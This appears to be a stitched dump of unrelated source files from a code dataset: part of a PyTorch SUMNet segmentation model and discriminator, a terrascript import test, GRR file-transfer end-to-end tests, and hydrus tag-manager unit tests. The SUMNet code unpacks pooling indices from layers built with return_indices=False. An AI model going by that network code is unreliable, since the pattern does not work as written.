nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn7 = nn.BatchNorm2d(512) self.conv5b = nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn8 = nn.BatchNorm2d(512) self.pool5 = nn.MaxPool2d(2, 2, return_indices = False) self.unpool5 = nn.MaxUnpool2d(2, 2) self.donv5b = nn.Conv2d(1024, 512, 3, padding = 1) self.donv5a = nn.Conv2d(512, 512, 3, padding = 1) self.unpool4 = nn.MaxUnpool2d(2, 2) self.donv4b = nn.Conv2d(1024, 512, 3, padding = 1) self.donv4a = nn.Conv2d(512, 256, 3, padding = 1) self.unpool3 = nn.MaxUnpool2d(2, 2) self.donv3b = nn.Conv2d(512, 256, 3, padding = 1) self.donv3a = nn.Conv2d(256,128, 3, padding = 1) self.unpool2 = nn.MaxUnpool2d(2, 2) self.donv2 = nn.Conv2d(256, 64, 3, padding = 1) self.unpool1 = nn.MaxUnpool2d(2, 2) self.donv1 = nn.Conv2d(128, 32, 3, padding = 1) self.output = nn.Conv2d(32, 4, 1) def forward(self, x): conv1 = F.relu(self.bn1(self.conv1(x)), inplace = True) pool1, idxs1 = self.pool1(conv1) conv2 = F.relu(self.bn2(self.conv2(pool1)), inplace = True) pool2, idxs2 = self.pool2(conv2) conv3a = F.relu(self.bn3(self.conv3a(pool2)), inplace = True) conv3b = F.relu(self.bn4(self.conv3b(conv3a)), inplace = True) pool3, idxs3 = self.pool3(conv3b) conv4a = F.relu(self.bn5(self.conv4a(pool3)), inplace = True) conv4b = F.relu(self.bn6(self.conv4b(conv4a)), inplace = True) pool4, idxs4 = self.pool4(conv4b) conv5a = F.relu(self.bn7(self.conv5a(pool4)), inplace = True) conv5b = F.relu(self.bn8(self.conv5b(conv5a)), inplace = True) pool5, idxs5 = self.pool5(conv5b) unpool5 = torch.cat([self.unpool5(pool5, idxs5), conv5b], 1) donv5b = F.relu(self.donv5b(unpool5), inplace = True) donv5a = F.relu(self.donv5a(donv5b), inplace = True) unpool4 = torch.cat([self.unpool4(donv5a, idxs4), conv4b], 1) donv4b = F.relu(self.donv4b(unpool4), inplace = True) donv4a = F.relu(self.donv4a(donv4b), inplace = True) unpool3 = torch.cat([self.unpool3(donv4a, idxs3), conv3b], 1) donv3b = F.relu(self.donv3b(unpool3), inplace = True) donv3a = F.relu(self.donv3a(donv3b)) unpool2 = torch.cat([self.unpool2(donv3a, idxs2), conv2], 1) donv2 = F.relu(self.donv2(unpool2), inplace = True) unpool1 = torch.cat([self.unpool1(donv2, idxs1), conv1], 1) donv1 = F.relu(self.donv1(unpool1), inplace = True) output = self.output(donv1) return torch.sigmoid(output) class SUMNet(nn.Module): def __init__(self): super(SUMNet, self).__init__() self.conv1 = nn.Conv2d(16, 64, 3, padding=(1,1)) self.bn1 = nn.BatchNorm2d(64) self.pool1 = nn.MaxPool2d(2, 2, return_indices = False) self.conv2 = nn.Conv2d(64, 128, 3, padding=(1,1)) self.bn2 = nn.BatchNorm2d(128) self.pool2 = nn.MaxPool2d(2, 2, return_indices = False) self.conv3a = nn.Conv2d(128, 256, 3, padding=(1,1)) self.bn3 = nn.BatchNorm2d(256) self.conv3b = nn.Conv2d(256, 256, 3, padding=(1,1)) self.bn4 = nn.BatchNorm2d(256) self.pool3 = nn.MaxPool2d(2, 2, return_indices = False) self.conv4a = nn.Conv2d(256, 512, 3, padding=(1,1)) self.bn5 = nn.BatchNorm2d(512) self.conv4b = nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn6 = nn.BatchNorm2d(512) self.pool4 = nn.MaxPool2d(2, 2, return_indices = False) self.conv5a = nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn7 = nn.BatchNorm2d(512) self.conv5b = nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn8 = nn.BatchNorm2d(512) self.pool5 = nn.MaxPool2d(2, 2, return_indices = False) self.unpool5 = nn.MaxUnpool2d(2, 2) self.donv5b = nn.Conv2d(1024, 512, 3, padding = 1) self.donv5a = nn.Conv2d(512, 512, 3, padding = 1) self.unpool4 = nn.MaxUnpool2d(2, 2) self.donv4b = nn.Conv2d(1024, 512, 3, padding = 1) self.donv4a = nn.Conv2d(512, 256, 3, padding = 1) self.unpool3 = nn.MaxUnpool2d(2, 2) self.donv3b = nn.Conv2d(512, 256, 3, padding = 1) self.donv3a = nn.Conv2d(256,128, 3, padding = 1) self.unpool2 = nn.MaxUnpool2d(2, 2) self.donv2 = nn.Conv2d(256, 64, 3, padding = 1) self.unpool1 = nn.MaxUnpool2d(2, 2) self.donv1 = nn.Conv2d(128, 32, 3, padding = 1) self.output = nn.Conv2d(32, 4, 1) def forward(self, x): conv1 = F.relu(self.bn1(self.conv1(x)), inplace = True) pool1, idxs1 = self.pool1(conv1) conv2 = F.relu(self.bn2(self.conv2(pool1)), inplace = True) pool2, idxs2 = self.pool2(conv2) conv3a = F.relu(self.bn3(self.conv3a(pool2)), inplace = True) conv3b = F.relu(self.bn4(self.conv3b(conv3a)), inplace = True) pool3, idxs3 = self.pool3(conv3b) conv4a = F.relu(self.bn5(self.conv4a(pool3)), inplace = True) conv4b = F.relu(self.bn6(self.conv4b(conv4a)), inplace = True) pool4, idxs4 = self.pool4(conv4b) conv5a = F.relu(self.bn7(self.conv5a(pool4)), inplace = True) conv5b = F.relu(self.bn8(self.conv5b(conv5a)), inplace = True) pool5, idxs5 = self.pool5(conv5b) unpool5 = torch.cat([self.unpool5(pool5, idxs5), conv5b], 1) donv5b = F.relu(self.donv5b(unpool5), inplace = True) donv5a = F.relu(self.donv5a(donv5b), inplace = True) unpool4 = torch.cat([self.unpool4(donv5a, idxs4), conv4b], 1) donv4b = F.relu(self.donv4b(unpool4), inplace = True) donv4a = F.relu(self.donv4a(donv4b), inplace = True) unpool3 = torch.cat([self.unpool3(donv4a, idxs3), conv3b], 1) donv3b = F.relu(self.donv3b(unpool3), inplace = True) donv3a = F.relu(self.donv3a(donv3b)) unpool2 = torch.cat([self.unpool2(donv3a, idxs2), conv2], 1) donv2 = F.relu(self.donv2(unpool2), inplace = True) unpool1 = torch.cat([self.unpool1(donv2, idxs1), conv1], 1) donv1 = F.relu(self.donv1(unpool1), inplace = True) output = self.output(donv1) return torch.sigmoid(output) class Discriminator(nn.Module): def __init__(self): super(Discriminator,self).__init__() self.conv1 = nn.Conv2d(2, 16, 4, 2, 1, bias=False) self.act1 = nn.LeakyReLU(0.2, inplace=False) self.conv2 = nn.Conv2d(16, 32, 4, 2, 1, bias=False) self.act2 = nn.LeakyReLU(0.2, inplace=False) self.conv3 = nn.Conv2d(32, 64, 4, 2, 1, bias=False) self.act3 = nn.LeakyReLU(0.2, inplace=False) self.conv4 = nn.Conv2d(64, 128, 4, 2, 1, bias=False) self.act4 = nn.LeakyReLU(0.2, inplace=False) self.conv5 = nn.Conv2d(128, 128, 4, 2, 1, bias=False) self.act5 = nn.LeakyReLU(0.2, inplace=False) self.conv6 = nn.Conv2d(128, 128, 4,2,1, bias=False) self.act6 = nn.LeakyReLU(0.2, inplace=False) self.conv7 = nn.Conv2d(128, 2, 3, 1, bias=False) self.pool7 = nn.MaxPool2d(2,stride=2) def forward(self, labels): conv1 = self.act1(self.conv1(labels)) conv2 = self.act2(self.conv2(conv1)) conv3 = self.act3(self.conv3(conv2)) conv4 = self.act4(self.conv4(conv3)) conv5 = self.act5(self.conv5(conv4)) conv6 = self.act6(self.conv6(conv5)) conv7 = self.conv7(conv6) pool7 = self.pool7(conv7) return torch.sigmoid(pool7)

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0

7

9641bf1f38b0a6af53ba536dc84fa8c30eb6a0cc

732

py

Python

tests/test_provider_cloudknox_cloudknox.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

507

2017-07-26T02:58:38.000Z

2022-01-21T12:35:13.000Z

tests/test_provider_cloudknox_cloudknox.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

135

2017-07-20T12:01:59.000Z

2021-10-04T22:25:40.000Z

tests/test_provider_cloudknox_cloudknox.py

mjuenema/python-terrascript

6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d

[ "BSD-2-Clause" ]

81

2018-02-20T17:55:28.000Z

2022-01-31T07:08:40.000Z

# tests/test_provider_cloudknox_cloudknox.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:14:14 UTC) def test_provider_import(): import terrascript.provider.cloudknox.cloudknox def test_datasource_import(): from terrascript.data.cloudknox.cloudknox import cloudknox_role_policy # TODO: Shortcut imports without namespace for official and supported providers. # TODO: This has to be moved into a required_providers block. # def test_version_source(): # # import terrascript.provider.cloudknox.cloudknox # # t = terrascript.provider.cloudknox.cloudknox.cloudknox() # s = str(t) # # assert 'https://github.com/cloudknox/terraform-provider-cloudknox' in s # assert '0.6.0' in s

29.28

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0.204797

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732

24

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30.5

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8

9658dbb05f5a461f21df7919c3a62bc3162b3133

3,524

py

Python

grr/test/grr_response_test/end_to_end_tests/tests/transfer.py

tsehori/grr

048506f22f74642bfe61749069a45ddf496fdab3

[ "Apache-2.0" ]

1

2021-07-24T17:22:50.000Z

grr/test/grr_response_test/end_to_end_tests/tests/transfer.py

tsehori/grr

048506f22f74642bfe61749069a45ddf496fdab3

[ "Apache-2.0" ]

44

2021-05-14T22:49:24.000Z

2022-03-13T21:54:02.000Z

grr/test/grr_response_test/end_to_end_tests/tests/transfer.py

tsehori/grr

048506f22f74642bfe61749069a45ddf496fdab3

[ "Apache-2.0" ]

2

2022-02-25T08:34:51.000Z

2022-03-16T17:29:44.000Z

#!/usr/bin/env python """End to end tests for transfer flows.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals from grr_response_test.end_to_end_tests import test_base class TestTransferLinux(test_base.AbstractFileTransferTest): """Test GetFile on Linux.""" platforms = [test_base.EndToEndTest.Platform.LINUX] def testGetFileOS(self): args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "/bin/ls" args.pathspec.pathtype = args.pathspec.OS path = "fs/os/bin/ls" with self.WaitForFileCollection(path): self.RunFlowAndWait("GetFile", args=args) self.CheckELFMagic(path) def testGetFileTSK(self): if self.os_release == "CentOS Linux": self.skipTest( "TSK is not supported on CentOS due to an xfs root filesystem.") args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "/usr/bin/diff" args.pathspec.pathtype = args.pathspec.TSK f = self.RunFlowAndWait("GetFile", args=args) results = list(f.ListResults()) self.assertNotEmpty(results) stat_entry = results[0].payload path = self.TSKPathspecToVFSPath(stat_entry.pathspec) # Run GetFile again to make sure the path gets updated. with self.WaitForFileRefresh(path): self.RunFlowAndWait("GetFile", args=args) self.CheckELFMagic(path) class TestTransferDarwin(test_base.AbstractFileTransferTest): """Test GetFile on Darwin.""" platforms = [test_base.EndToEndTest.Platform.DARWIN] def testGetFileOS(self): args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "/bin/ls" args.pathspec.pathtype = args.pathspec.OS path = "fs/os/bin/ls" with self.WaitForFileCollection(path): self.RunFlowAndWait("GetFile", args=args) self.CheckMacMagic(path) class TestTransferWindows(test_base.AbstractFileTransferTest): """Test GetFile on Windows.""" platforms = [test_base.EndToEndTest.Platform.WINDOWS] def testGetFileOS(self): args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "C:\\Windows\\regedit.exe" args.pathspec.pathtype = args.pathspec.OS path = "fs/os/C:/Windows/regedit.exe" with self.WaitForFileCollection(path): self.RunFlowAndWait("GetFile", args=args) self.CheckPEMagic(path) def testGetFileTSK(self): args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "C:\\Windows\\regedit.exe" args.pathspec.pathtype = args.pathspec.TSK f = self.RunFlowAndWait("GetFile", args=args) results = list(f.ListResults()) self.assertNotEmpty(results) stat_entry = results[0].payload path = self.TSKPathspecToVFSPath(stat_entry.pathspec) # Run GetFile again to make sure the path gets updated. with self.WaitForFileRefresh(path): self.RunFlowAndWait("GetFile", args=args) self.CheckPEMagic(path) def testGetFileNTFS(self): args = self.grr_api.types.CreateFlowArgs("GetFile") args.pathspec.path = "C:\\Windows\\regedit.exe" args.pathspec.pathtype = args.pathspec.NTFS f = self.RunFlowAndWait("GetFile", args=args) results = list(f.ListResults()) self.assertNotEmpty(results) stat_entry = results[0].payload path = self.NTFSPathspecToVFSPath(stat_entry.pathspec) # Run GetFile again to make sure the path gets updated. with self.WaitForFileRefresh(path): self.RunFlowAndWait("GetFile", args=args) self.CheckPEMagic(path)

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null

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7

96627edf5185a45caf15d2e0b3c082b3399168fb

136,559

py

Python

hydrus/test/TestClientTags.py

Asday/hydrus

a09ab839633661f446612a92b680bb8118a46b39

[ "WTFPL" ]

null

hydrus/test/TestClientTags.py

Asday/hydrus

a09ab839633661f446612a92b680bb8118a46b39

[ "WTFPL" ]

null

hydrus/test/TestClientTags.py

Asday/hydrus

a09ab839633661f446612a92b680bb8118a46b39

[ "WTFPL" ]

null

import collections import unittest from hydrus.core import HydrusConstants as HC from hydrus.core import HydrusData from hydrus.core import HydrusGlobals as HG from hydrus.core import HydrusTags from hydrus.core import HydrusText from hydrus.external import SystemPredicateParser from hydrus.client import ClientConstants as CC from hydrus.client import ClientManagers from hydrus.client import ClientSearch from hydrus.client import ClientSearchParseSystemPredicates from hydrus.client.media import ClientMediaManagers from hydrus.client.metadata import ClientTags from hydrus.client.metadata import ClientTagsHandling class TestMergeTagsManagers( unittest.TestCase ): def test_merge( self ): first = HydrusData.GenerateKey() second = HydrusData.GenerateKey() third = HydrusData.GenerateKey() # service_keys_to_statuses_to_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_tags[ first ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_1', 'series:blame!' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate_1', 'character:cibo' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_DELETED ] = { 'current_1' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'pending_1', 'creator:tsutomu nihei' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_PETITIONED ] = { 'petitioned_1' } service_keys_to_statuses_to_tags[ third ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate', 'current_duplicate_1' } service_keys_to_statuses_to_tags[ third ][ HC.CONTENT_STATUS_PENDING ] = { 'volume:3' } service_keys_to_statuses_to_display_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_display_tags[ first ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_1', 'series:blame!' } service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate_1', 'character:cibo' } service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'pending_1', 'creator:tsutomu nihei' } service_keys_to_statuses_to_display_tags[ third ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate', 'current_duplicate_1' } service_keys_to_statuses_to_display_tags[ third ][ HC.CONTENT_STATUS_PENDING ] = { 'volume:3' } tags_manager_1 = ClientMediaManagers.TagsManager( service_keys_to_statuses_to_tags, service_keys_to_statuses_to_display_tags ) # service_keys_to_statuses_to_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_tags[ first ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_2', 'series:blame!', 'chapter:1' } service_keys_to_statuses_to_tags[ first ][ HC.CONTENT_STATUS_DELETED ] = { 'deleted_2' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'architecture', 'chapter:2' } service_keys_to_statuses_to_tags[ third ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate' } service_keys_to_statuses_to_display_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_display_tags[ first ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_2', 'series:blame!', 'chapter:1' } service_keys_to_statuses_to_display_tags[ first ][ HC.CONTENT_STATUS_DELETED ] = { 'deleted_2' } service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate' } service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'architecture', 'chapter:2' } service_keys_to_statuses_to_display_tags[ third ][ HC.CONTENT_STATUS_CURRENT ] = { 'current_duplicate' } tags_manager_2 = ClientMediaManagers.TagsManager( service_keys_to_statuses_to_tags, service_keys_to_statuses_to_display_tags ) # service_keys_to_statuses_to_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'page:4', 'page:5' } service_keys_to_statuses_to_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'title:double page spread' } service_keys_to_statuses_to_display_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_CURRENT ] = { 'page:4', 'page:5' } service_keys_to_statuses_to_display_tags[ second ][ HC.CONTENT_STATUS_PENDING ] = { 'title:double page spread' } tags_manager_3 = ClientMediaManagers.TagsManager( service_keys_to_statuses_to_tags, service_keys_to_statuses_to_display_tags ) # tags_managers = ( tags_manager_1, tags_manager_2, tags_manager_3 ) tags_manager = ClientMediaManagers.TagsManager.MergeTagsManagers( tags_managers ) # self.assertEqual( tags_manager.GetNamespaceSlice( ( 'character', ), ClientTags.TAG_DISPLAY_ACTUAL ), frozenset( { 'character:cibo' } ) ) class TestTagsManager( unittest.TestCase ): @classmethod def setUpClass( cls ): cls._first_key = HydrusData.GenerateKey() cls._second_key = HydrusData.GenerateKey() cls._third_key = HydrusData.GenerateKey() service_keys_to_statuses_to_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_tags[ cls._first_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'current', '\u2835', 'creator:tsutomu nihei', 'series:blame!', 'title:test title', 'volume:3', 'chapter:2', 'page:1' } service_keys_to_statuses_to_tags[ cls._first_key ][ HC.CONTENT_STATUS_DELETED ] = { 'deleted' } service_keys_to_statuses_to_tags[ cls._second_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'deleted', '\u2835' } service_keys_to_statuses_to_tags[ cls._second_key ][ HC.CONTENT_STATUS_DELETED ] = { 'current' } service_keys_to_statuses_to_tags[ cls._second_key ][ HC.CONTENT_STATUS_PENDING ] = { 'pending' } service_keys_to_statuses_to_tags[ cls._second_key ][ HC.CONTENT_STATUS_PETITIONED ] = { 'petitioned' } service_keys_to_statuses_to_tags[ cls._third_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'petitioned' } service_keys_to_statuses_to_tags[ cls._third_key ][ HC.CONTENT_STATUS_DELETED ] = { 'pending' } service_keys_to_statuses_to_display_tags = collections.defaultdict( HydrusData.default_dict_set ) service_keys_to_statuses_to_display_tags[ cls._first_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'current', '\u2835', 'creator:tsutomu nihei', 'series:blame!', 'title:test title', 'volume:3', 'chapter:2', 'page:1' } service_keys_to_statuses_to_display_tags[ cls._first_key ][ HC.CONTENT_STATUS_DELETED ] = { 'deleted' } service_keys_to_statuses_to_display_tags[ cls._second_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'deleted', '\u2835' } service_keys_to_statuses_to_display_tags[ cls._second_key ][ HC.CONTENT_STATUS_PENDING ] = { 'pending' } service_keys_to_statuses_to_display_tags[ cls._third_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'petitioned' } service_keys_to_statuses_to_display_tags[ cls._third_key ][ HC.CONTENT_STATUS_DELETED ] = { 'pending' } cls._tags_manager = ClientMediaManagers.TagsManager( service_keys_to_statuses_to_tags, service_keys_to_statuses_to_display_tags ) cls._service_keys_to_statuses_to_tags = service_keys_to_statuses_to_tags # cls._pending_service_key = HydrusData.GenerateKey() cls._content_update_service_key = HydrusData.GenerateKey() cls._reset_service_key = HydrusData.GenerateKey() other_service_keys_to_statuses_to_tags = collections.defaultdict( HydrusData.default_dict_set ) other_service_keys_to_statuses_to_tags[ cls._pending_service_key ][ HC.CONTENT_STATUS_PENDING ] = { 'pending' } other_service_keys_to_statuses_to_tags[ cls._pending_service_key ][ HC.CONTENT_STATUS_PETITIONED ] = { 'petitioned' } other_service_keys_to_statuses_to_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'reset_current' } other_service_keys_to_statuses_to_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_DELETED ] = { 'reset_deleted' } other_service_keys_to_statuses_to_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_PENDING ] = { 'reset_pending' } other_service_keys_to_statuses_to_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_PETITIONED ] = { 'reset_petitioned' } other_service_keys_to_statuses_to_display_tags = collections.defaultdict( HydrusData.default_dict_set ) other_service_keys_to_statuses_to_display_tags[ cls._pending_service_key ][ HC.CONTENT_STATUS_PENDING ] = { 'pending' } other_service_keys_to_statuses_to_display_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_CURRENT ] = { 'reset_current' } other_service_keys_to_statuses_to_display_tags[ cls._reset_service_key ][ HC.CONTENT_STATUS_PENDING ] = { 'reset_pending' } cls._other_tags_manager = ClientMediaManagers.TagsManager( other_service_keys_to_statuses_to_tags, other_service_keys_to_statuses_to_display_tags ) cls._other_service_keys_to_statuses_to_tags = other_service_keys_to_statuses_to_tags def test_delete_pending( self ): self.assertEqual( self._other_tags_manager.GetPending( self._pending_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'pending' } ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._pending_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'petitioned' } ) self._other_tags_manager.DeletePending( self._pending_service_key ) self.assertEqual( self._other_tags_manager.GetPending( self._pending_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._pending_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) def test_get_current( self ): self.assertEqual( self._tags_manager.GetCurrent( self._first_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'current', '\u2835', 'creator:tsutomu nihei', 'series:blame!', 'title:test title', 'volume:3', 'chapter:2', 'page:1' } ) self.assertEqual( self._tags_manager.GetCurrent( self._second_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'deleted', '\u2835' } ) self.assertEqual( self._tags_manager.GetCurrent( self._third_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'petitioned' } ) self.assertEqual( self._tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ), { 'current', 'deleted', '\u2835', 'creator:tsutomu nihei', 'series:blame!', 'title:test title', 'volume:3', 'chapter:2', 'page:1', 'petitioned' } ) def test_get_deleted( self ): self.assertEqual( self._tags_manager.GetDeleted( self._first_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'deleted' } ) self.assertEqual( self._tags_manager.GetDeleted( self._second_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'current' } ) self.assertEqual( self._tags_manager.GetDeleted( self._third_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'pending' } ) self.assertEqual( self._tags_manager.GetDeleted( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ), { 'deleted', 'current', 'pending' } ) def test_get_namespace_slice( self ): self.assertEqual( self._tags_manager.GetNamespaceSlice( ( 'creator', 'series' ), ClientTags.TAG_DISPLAY_ACTUAL ), frozenset( { 'creator:tsutomu nihei', 'series:blame!' } ) ) self.assertEqual( self._tags_manager.GetNamespaceSlice( [], ClientTags.TAG_DISPLAY_ACTUAL ), frozenset() ) def test_get_num_tags( self ): self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._first_key, include_current_tags = False, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._first_key, include_current_tags = True, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 8 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._first_key, include_current_tags = False, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._first_key, include_current_tags = True, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 8 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._second_key, include_current_tags = False, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._second_key, include_current_tags = True, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 2 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._second_key, include_current_tags = False, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 1 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._second_key, include_current_tags = True, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 3 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._third_key, include_current_tags = False, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._third_key, include_current_tags = True, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 1 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._third_key, include_current_tags = False, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = self._third_key, include_current_tags = True, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 1 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = CC.COMBINED_TAG_SERVICE_KEY, include_current_tags = False, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 0 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = CC.COMBINED_TAG_SERVICE_KEY, include_current_tags = True, include_pending_tags = False ), ClientTags.TAG_DISPLAY_STORAGE ), 10 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = CC.COMBINED_TAG_SERVICE_KEY, include_current_tags = False, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 1 ) self.assertEqual( self._tags_manager.GetNumTags( ClientSearch.TagSearchContext( service_key = CC.COMBINED_TAG_SERVICE_KEY, include_current_tags = True, include_pending_tags = True ), ClientTags.TAG_DISPLAY_STORAGE ), 11 ) def test_get_pending( self ): self.assertEqual( self._tags_manager.GetPending( self._first_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._tags_manager.GetPending( self._second_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'pending' } ) self.assertEqual( self._tags_manager.GetPending( self._third_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ), { 'pending' } ) def test_get_petitioned( self ): self.assertEqual( self._tags_manager.GetPetitioned( self._first_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._tags_manager.GetPetitioned( self._second_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'petitioned' } ) self.assertEqual( self._tags_manager.GetPetitioned( self._third_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._tags_manager.GetPetitioned( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ), { 'petitioned' } ) def test_get_service_keys_to_statuses_to_tags( self ): s = self._tags_manager.GetServiceKeysToStatusesToTags( ClientTags.TAG_DISPLAY_STORAGE ) self.assertEqual( s[ self._first_key ], self._service_keys_to_statuses_to_tags[ self._first_key ] ) self.assertEqual( s[ self._second_key ], self._service_keys_to_statuses_to_tags[ self._second_key ] ) self.assertEqual( s[ self._third_key ], self._service_keys_to_statuses_to_tags[ self._third_key ] ) def test_get_statuses_to_tags( self ): self.assertEqual( self._tags_manager.GetStatusesToTags( self._first_key, ClientTags.TAG_DISPLAY_STORAGE ), self._service_keys_to_statuses_to_tags[ self._first_key ] ) self.assertEqual( self._tags_manager.GetStatusesToTags( self._second_key, ClientTags.TAG_DISPLAY_STORAGE ), self._service_keys_to_statuses_to_tags[ self._second_key ] ) self.assertEqual( self._tags_manager.GetStatusesToTags( self._third_key, ClientTags.TAG_DISPLAY_STORAGE ), self._service_keys_to_statuses_to_tags[ self._third_key ] ) def test_has_tag( self ): self.assertTrue( self._tags_manager.HasTag( '\u2835', ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertFalse( self._tags_manager.HasTag( 'not_exist', ClientTags.TAG_DISPLAY_STORAGE ) ) def test_process_content_update( self ): hashes = { HydrusData.GenerateKey() for i in range( 6 ) } # self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() 